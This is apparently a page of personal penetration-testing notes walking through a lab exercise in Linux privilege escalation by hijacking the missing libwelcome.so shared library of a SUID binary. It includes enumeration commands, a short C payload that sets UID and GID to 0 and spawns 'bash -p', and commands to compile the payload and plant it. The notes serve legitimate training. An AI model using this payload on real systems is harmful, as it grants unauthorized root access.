> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md). # libwelcome.so Shared Library Hijacking - Linux Privilege Escalation Shared Library Hijacking (libwelcome.so) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation. ## What It Is Shared library hijacking abuses the dynamic loader when a privileged binary loads a missing, writable, or attacker-controlled shared object. A malicious `.so` can execute code with the privileges of the loading process. This specific page focuses on **Shared Library Hijacking (libwelcome.so)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact. ## Enumeration Start by confirming the local context and the exact misconfiguration before running the exploit path. ```bash ldd strace -f 2>&1 | grep -i open ``` ## Examples

Vulnerable machinery website attackdefense:

Search for files with [SUID](/privesc/suid.md) permissions: ```bash find / -perm -4000 2>/dev/null ```

If the library search path were writable, we could place `libwelcome.so` directly in the directory loaded by the binary.

By examining the configuration files, we can see that the library path points to a directory that does not exist: `/home/student/lib`.

Create the missing `lib` directory and place a controlled `test.c` payload there:

This `test.c` payload spawns a Bash shell as root when the privileged binary loads it: ```c #include #include int welcome(){ setuid(0); setgid(0); system("bash -p"); return 0; } ``` Compile the payload as the expected `libwelcome.so` shared object: ```bash gcc -fPIC -shared test.c -o libwelcome.so ```

Move the compiled shared object into the missing `lib` directory and confirm that the binary resolves it: ```bash ldd /usr/bin/welcome mv libwelcome.so lib ```

Run `/usr/bin/welcome` again. The binary loads the malicious library and returns a Bash shell as root:

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